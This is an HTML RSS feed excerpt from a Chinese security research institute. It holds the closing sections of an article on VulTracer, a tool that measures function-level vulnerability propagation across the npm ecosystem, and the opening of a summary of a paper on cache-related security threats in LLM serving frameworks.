normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，当需要检测某个具体项目时，VulTracer 不再需要深究源代码，而是像拼乐高积木一样，根据依赖关系，将预先计算好的 RSG 和契约进行</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">组合式合成（Compositional Synthesis）</span></strong><span leaf="">形成一个新的生态级调用图 (ECG)。并且该 ECG 可根据任意真实项目的依赖关系按需组装。这种设计使得分析速度和扩展性得到了质的飞跃——在处理复杂的真实依赖图时，VulTracer 的成功率高达 99.41%，而对比的工具Jelly仅为 37.37%。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1787037037037038" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005318" src="https://wechat2rss.xlab.app/img-proxy/?k=64c8e83d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhkZmscD4UBGjt8sh4xnBQ8fEkkHxbwIA09ab4uL28Rtwm0vsv6nlz2Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">四、生态级实证研究：揭示漏洞传播的真相</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在这项工作中，我们利用 VulTracer 对整个 npm 生态进行了史上最大规模的函数级漏洞传播影响分析。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.1 数据集构建</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先我们构建了两个核心的数据集：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">• npm 生态数据集： 包含了 3,267,273个唯一npm包 以及其 34,685,976 个不同版本。同时解析并构建了整个生态中超过9亿条的依赖关系。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">• 漏洞数据集：我们采用双维度选择策略，确保选择的漏洞样本既有代表性又有多样性。一是高影响力漏洞，从 2024 年下载量排行 TOP 10 的软件包 lodash, debug, semver, minimatch 这四个核心库中，找到了影响他们的6个CVE漏洞，每个软件包都有数十万直接依赖包，并且漏洞影响了超过百万的下游软件包。二是多样性维度，对齐 2024 CWE-Top-25 的类型，覆盖注入(CWE-79)、原型污染(CWE-1321)等21个不同类型的 CVE 漏洞，代表不同的攻击向量。最终我们的研究涵盖了</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">27个CVE，涉及9,868,514条潜在传播路径。</span></strong></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.2 单跳分析：分析衰减的根本原因</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们首先聚焦于d₁ → d₀的单跳关系，这样可以排除多跳传播的复杂因素，精确归因。在我们的研究中建立了三层漏洞传播条件：仅引入模块 (C_mod)、调用任意函数 (C_func)、调用漏洞函数 (C_vuln_func)。定义如下图所示：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6277777777777778" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005315" src="https://wechat2rss.xlab.app/img-proxy/?k=2a8448a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhK5sDxe6bGQLABIcVAsu8ictp4AUibWJz1hvpvZLehlfUNIrWWGZoTG3g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只有 C_mod ∧ C_func ∧ C_vuln_func 同时为真，才认为漏洞真正传播。最终单跳的分析结果如下表所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6083333333333333" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005323" src="https://wechat2rss.xlab.app/img-proxy/?k=6882a745&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibh729wvQiaZC6iahticIlcA6VMoq8M9xw7vWIlT7KrJZ85pnBKbPw57RZnA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们发现平均 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">22.80%</span></strong><span leaf=""> 的直接依赖包声明了依赖，但从未导入任何模块（C_mod失败）。以 lodash 为例：存在 396,112 个声明依赖的包，但是有 131,933个“僵尸依赖” (33.31%)。这13万多个包背上了“有漏洞”的标签，但实际上完全不受影响。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">同时我们还发现，npm 第三方库的 API 设计决定传播率。同样的对于 lodash 这样一个综合工具库，拥有242个函数，但漏洞函数 template 只占所有调用的0.30%，排名第49位，详细分析如下图所示。说明这个函数的下游使用率并不高。与之相反的是 debug 库，它功能单一专注于调试，其核心功能函数就是其主函数，导致直接依赖者的受影响比例高达 71.77%。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8064814814814815" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005322" src="https://wechat2rss.xlab.app/img-proxy/?k=9d928deb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhwsgSUQ3jM035Nu7jnHQ2FU00jiaresocnJTMX0rGUYzbFmJHP5AhIoA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">4.3 多跳分析：揭示传递性衰减规律</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">单跳分析揭示了初始衰减，但漏洞会通过传递依赖传播多远？我们追踪了完整的传播路径。在分析中，我们追踪了9,868,514条潜在传播路径，涉及1,663,634个包版本。最终不同漏洞的传播结果如下表所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6694444444444444" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005321" src="https://wechat2rss.xlab.app/img-proxy/?k=d901a553&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhj85yTKZQibsoRkNJ5NI25IdmSSwxL1BVIBLSUiafevJwyicehIVfMkKpg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在表格数据中， 以 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">CVE-2022-3517 (minimatch)</span></strong><span leaf=""> 为例，数据揭示了粗粒度分析带来的严重误报问题。包级别分析报告了 497,595 条潜在传播路径，涉及 286,731 个受影响的包版本。然而，经由 VulTracer 的函数级可达性分析，确证受影响的包版本仅为 22,557 个。从全局统计维度来看，函数级分析所识别的受影响库数量平均仅为包级别分析结果的 **31.72%**。这一数据统计表明，现有包级别依赖扫描工具产生的警报中，约 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">68.28%</span></strong><span leaf=""> 属于漏洞代码不可达的误报（False Positives）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5027777777777778" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005320" src="https://wechat2rss.xlab.app/img-proxy/?k=5aa17261&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhSic9pFT85n5mrYMrKQHRRickLSWsUPPaJepYfU35zheJ96MspZXTafPw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，在上图也更进一步可视化了漏洞传播随依赖链路深度的衰减过程，分别从两个不同的视角来进行呈现。图（a）展示了每一跳（Hop）中新增受影响包数量的分布情况。对比显示，函数级别（红色曲线）的传播在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3 跳</span></strong><span leaf=""> 之后呈现出急剧的衰减趋势，与包级别（蓝色曲线）的长尾分布形成显著差异。这证实了真实的漏洞影响范围会随着依赖深度的增加而迅速减弱。而图（b） 展示了传播过程中的累积概率分布情况进一步佐证了这一“浅层效应”：函数级传播曲线迅速收敛并达到平台期，数据显示 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">96.59%</span></strong><span leaf=""> 的真实受影响包均收敛在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4 跳</span></strong><span leaf=""> 的范围内。这意味着，尽管依赖图谱可能具有较深的层级结构，但具有实际威胁的漏洞传播主要局限于浅层依赖网络中。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">五、结论：从噪声中提取信号</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对日益复杂的开源生态，我们的研究证明，传统的“版本比对”模式已经难以为继。由现有包级别工具识别出的潜在风险中，高达 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">68.28%</span></strong><span leaf=""> 的漏洞代码实际上从未被调用。换言之，近七成的“受影响”项目其实是安全的，并不需要火急火燎地去修复。这种高误报率不仅制造了巨大的“噪声”，更导致了严重的警报疲劳，反而掩盖了真正的威胁。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此，转向更细粒度的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">函数级可达性分析</span></strong><span leaf="">已是行业必经之路。通过 VulTracer，我们可以从噪声中提取出那 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">30%</span></strong><span leaf=""> 的真实信号。这不仅能让开发者从无效的运维工作中解脱出来，更能让安全团队聚焦于真正具有可利用性的威胁。这才是让供应链安全治理走出困境、迈向精准防御的未来方向。</span></p><div data-tools="135编辑器" data-id="158381" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border: 1px solid rgb(133, 157, 229);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 25px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(rgb(233, 242, 255), rgb(255, 255, 255));"><div data-autoskip="1" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">奇安信技术研究院是专注于网络空间安全相关技术的研究机构，聚焦网络空间安全领域基础性或前沿性的研究课题，结合国家和社会的实际需求，开展创新性和实践性的技术研究。共有星图实验室、羲和实验室和天工实验室三大实验室。我们目前正在招聘，工作地点覆盖北京、南京、成都等城市，详情请参见：<a href="https://researsh.qianxin.com/recruitement" target="_blank">https://researsh.qianxin.com/recruitement</a></span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-family: 宋体;font-size: 10.5pt;box-sizing: border-box !important;overflow-wrap: break-word !important;"><font face="宋体" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></font></span></p></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3fb47c8c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488981%26idx%3D1%26sn%3D319fdc91a351ed80fdf470e1a4c16d41">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 06 Jan 2026 15:48:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】大模型服务框架的缓存相关威胁分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488942&amp;idx=1&amp;sn=a2330e5a2984a23fb66bfde69c36d901</link>
      <description>在大模型（LLM）服务极速发展的当下，效率至关重要。为了降低延迟并控制算力成本，主流推理框架广泛引入了先进的缓存机制。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2025-12-30 17:02</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=038ec3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjU3mzxWVPhibOjSgr94BuHWsKbliaWCx9gx4YPSfgJ7aRl5wmL83rLtQA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 16px;">在大模型（LLM）服务极速发展的当下，效率至关重要。为了降低延迟并控制算力成本，主流推理框架广泛引入了先进的缓存机制。然而，这种追求极致速度的设计是否埋下了安全隐患？</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">本论文是由</span><span textstyle="" style="font-size: 16px;font-weight: bold;">奇安信技术研究院、中国海洋大学和清华大学</span><span textstyle="" style="font-size: 16px;">联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话，就会造成安全隐患。论文题目为《</span></span><strong><span leaf=""><span textstyle="" style="font-size: 16px;">Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks</span></span></strong><span leaf=""><span textstyle="" style="font-size: 16px;">》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。</span></span></p><p nodeleaf=""><img data-imgfileid="100005287" class="rich_pages wxw-img" data-ratio="0.3333333333333333" data-type="png" data-w="1080" data-width="1144" data-height="381" src="https://wechat2rss.xlab.app/img-proxy/?k=b5bbfec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjF4LmN8tZ3pD9tiaAJI8aZsibT5XqqLRVPKndWmHbUyJBDAOPF0OAmRKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol class="list-paddingleft-1" start="1"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: bold;">LLM推理加速背后的隐忧</span></span></h3></li></ol><p><span leaf=""><span textstyle="" style="font-size: 16px;">随着模型参数规模的不断膨胀，推理计算的开销急剧上升。为了优化用户体验，vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略，包括前缀缓存（Prefix Cache）、语义缓存（Semantic Cache）和多模态缓存（Multimodal Cache）。</span></span></p><p nodeleaf=""><img data-imgfileid="100005285" class="rich_pages wxw-img" data-ratio="0.48796147672552165" data-type="png" data-w="623" data-width="623" data-height="304" src="https://wechat2rss.xlab.app/img-proxy/?k=c4d95de6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96nzUZ27sN8hnib3mqwJ2RkSjMB1YnsrhtmF9oLE2ucl5dlgwlsLlcPZicOYE77nFL0OvX6Vwj5oavjA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 16px;">虽然这些机制通过存储中间状态极大地减少了重复计算，但我们的研究发现，现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准，共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同，这是一类发生在推理阶段的全新安全威胁。</span></span></p><ol class="list-paddingleft-1" start="2"><li style="font-weight:bold;"><h3><span leaf=""><span textstyle="" style="font-weight: 